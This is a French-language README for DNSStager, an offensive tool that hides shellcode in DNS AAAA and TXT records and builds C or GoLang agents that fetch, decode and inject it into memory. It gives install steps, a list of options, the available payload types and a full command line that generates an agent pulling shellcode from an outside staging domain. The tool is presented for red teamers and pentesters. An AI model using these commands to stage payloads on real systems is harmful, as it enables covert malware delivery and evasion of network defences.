
Cacher votre payload dans le DNS
DNSStager est un projet open source basé sur Python utilisé pour cacher et transférer votre payload en utilisant DNS.
DNSStager va créer un serveur DNS malveillant qui gère les requêtes DNS vers votre domaine et renvoie votre payload en réponse à des demandes d'enregistrements spécifiques comme les enregistrements AAAA ou TXT après l'avoir découpé en blocs et encodé le payload en utilisant différents algorithmes.
DNSStager peut générer un agent personnalisé écrit en C ou en GoLang qui résoudra une séquence de domaines, récupèrera le payload, le décodera et finalement l'injectera en mémoire selon la technique de votre choix.
Vous pouvez modifier le code de l'agent DNSStager comme vous le souhaitez et le construire en utilisant vos propres techniques d'exécution personnalisées.
L'objectif principal de l'utilisation de DNSStager est d'aider les red teamers / pentesters à livrer leurs payloads via un canal discret utilisant DNS.
En fonction de votre option de résolution DNS, DNSStager découpera votre payload en blocs et enregistrera chaque bloc du payload en tant que réponse pour un sous-domaine.
Par exemple, si vous choisissez IPV6 comme option pour récupérer le payload, la réponse DNS ressemblera à ceci :
cloud-srv-1.test.mydnsserver.live. 300 IN AAAA 5648:31d2:6548:8b52:6048:8b52:1848:8b52
Où 5648:31d2:6548:8b52:6048:8b52:1848:8b52 est une partie de votre payload.
Ainsi, l'agent résoudra certains domaines pour récupérer le payload, puis le décodera et finalement l'injectera en mémoire.
Actuellement, DNSStager ne supporte que deux enregistrements, AAAA et TXT. Vous pouvez encoder votre payload en utilisant XOR pour l'enregistrement AAAA et par défaut il sera encodé en base64 si vous choisissez l'enregistrement TXT.
DNSStager possède certaines fonctionnalités clés telles que :
IPV6.TXT.C avec la possibilité de le personnaliser.GoLang avec la possibilité de le personnaliser.Vous pouvez installer les dépendances Python de DNSStager via :
pip3 install -r requirements.txt
Vous devez installer GoLang version 1.16.3 et assurez-vous d'installer les paquets GoLang suivants :
Assurez-vous également d'installer ming-w64 via :
apt install mingw-w64
Le script setup.sh devrait le faire pour vous, mais vérifiez les prérequis avant de l'utiliser !
Pour obtenir la dernière version de DNSStager, assurez-vous de la cloner depuis ce dépôt en utilisant la commande suivante :
git clone https://github.com/mhaskar/DNSStager
Ensuite, vous devez installer les dépendances avec la commande suivante :
pip3 install -r requirements.txt
Et assurez-vous d'installer tous les autres prérequis mentionnés précédemment.
Après avoir fait tout cela, vous êtes prêt à exécuter DNSStager en tant que root pour obtenir ce qui suit :
askar•/opt/redteaming/DNSStager(main⚡)» sudo ./dnsstager.py
██████ ███ ██ ███████ ███████ ████████ █████ ██████ ███████ ██████
██ ██ ████ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██
██ ██ ██ ██ ██ ███████ ███████ ██ ███████ ██ ███ █████ ██████
██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██
██████ ██ ████ ███████ ███████ ██ ██ ██ ██████ ███████ ██ ██
Stable v1.0 Cachez votre payload dans DNS
[-] Veuillez spécifier un nom de domaine avec --domain
Pour commencer à utiliser DNSStager, configurez d'abord vos paramètres DNS : vous devez faire pointer votre domaine vers l'instance DNSStager en tant qu'enregistrement NS afin de gérer toutes les requêtes DNS vers votre domaine.
Vous pouvez lire cet article complet sur la configuration et l'utilisation de DNSStager.
Et vous pouvez vérifier les options en utilisant le commutateur -h comme ceci :
askar•/opt/redteaming/DNSStager(main⚡)» sudo ./dnsstager.py -h
usage: dnsstager.py [-h] [--domain DOMAIN] [--payloads] [--prefix PREFIX] [--payload PAYLOAD] [--output OUTPUT] [--shellcode_path SHELLCODE_PATH] [--xorkey XORKEY] [--sleep SLEEP]
[--format FORMAT]
Analyseur principal de DNSStager
arguments optionnels :
-h, --help affiche ce message d'aide et quitte
--domain DOMAIN Le domaine que vous souhaitez utiliser comme hôte de staging
--payloads affiche tous les payloads
--prefix PREFIX Préfixe à utiliser dans le schéma de sous-domaine
--payload PAYLOAD Payload à utiliser, voir --payloads pour plus de détails
--output OUTPUT Chemin de sortie de l'agent
--shellcode_path SHELLCODE_PATH
Chemin du fichier shellcode
--xorkey XORKEY Clé XOR pour encoder votre payload
--sleep SLEEP Dormir N secondes entre chaque requête DNS
--format FORMAT Format du payload (.dll ou .exe)
--tcp Démarrer et utiliser le serveur DNS via le protocole TCP
--domain : vous pouvez utiliser cette option pour sélectionner le domaine principal que vous utiliserez pour gérer les requêtes DNS.
--prefix : Le préfixe que vous souhaitez utiliser pour le schéma des sous-domaines.
Par exemple, si votre domaine principal est fakedns.live, vous pouvez spécifier le préfixe comme "cdn" par exemple. Ainsi, les domaines générés suivront un motif comme :
cdn0.fakedns.livecdn1.fakedns.livecdnN.fakedns.liveOù N est un nombre généré automatiquement représentant le nombre de blocs de votre payload.
--payload : le payload "agent" DNSStager que vous souhaitez générer en fonction de la technique, du langage de programmation et de l'architecture.
--output : Chemin de sortie pour sauvegarder l'exécutable du payload "agent" DNSStager.
--shellcode_path : Le chemin de votre shellcode raw/bin.
--xorkey : Clé XOR pour encoder le payload.
--sleep : Utilisé pour dormir N secondes entre chaque requête DNS.
--tcp : Démarrer et utiliser le serveur DNS via le protocole TCP
Pour vérifier les payloads DNSStager disponibles, utilisez ./dnsstager.py --payloads pour obtenir les résultats suivants :
askar•/opt/redteaming/DNSStager(main⚡)» sudo ./dnsstager.py --payloads
[+] 6 payloads DNSStager disponibles
x64/c/ipv6 Résoudre votre payload en adresses IPV6 avec XOR à l'aide d'une clé personnalisée via du code C x64 compilé
x86/c/ipv6 Résoudre votre payload en adresses IPV6 avec XOR à l'aide d'une clé personnalisée via du code C x86 compilé
x64/golang/txt Résoudre votre payload en enregistrements TXT encodés en base64 via du code GoLang x64 compilé
x64/golang/ipv6 Résoudre votre payload en adresses IPV6 encodées avec une clé personnalisée via un encodage par ajout d'octets via du code GoLang x64 compilé
x86/golang/txt Résoudre votre payload en enregistrements TXT encodés en base64 via du code GoLang x86 compilé
x86/golang/ipv6 Résoudre votre payload en adresses IPV6 encodées avec une clé personnalisée via un encodage par ajout d'octets via du code GoLang x86 compilé
Cet exemple va démarrer DNSStager pour résoudre votre payload en IPV6 en utilisant le domaine test.mydnsserver.live avec le préfixe cloud-srv- pour générer un agent compilé x64 C encodé avec la clé 0x10 :
sudo ./dnsstager.py --domain test.mydnsserver.live --payload x64/c/ipv6 --output /tmp/a2.exe --prefix cloud-srv- --shellcode_path ~/payload.bin --sleep 1 --xorkey 0x10
Et la sortie sera :

Et pour vérifier que tout fonctionne bien, envoyons une requête DNS à cloud-srv-0.test.mydnsserver.live pour obtenir :

Nous pouvons voir que nous avons reçu f642:89ee:fae2:c20a:a0a:4b5b:4b5a:585b en réponse, ce qui correspond aux 16 premiers octets de notre payload encodé.
Ensuite, vous pouvez exécuter l'agent /tmp/a2.exe (comme défini avec --output dans la ligne de commande) sur la machine cible, ce qui téléchargera tous les blocs nécessaires, les décodera et les injectera en mémoire pour vous.
Ce projet est sous licence GPL-3.0 - voir le fichier LICENSE pour plus de détails.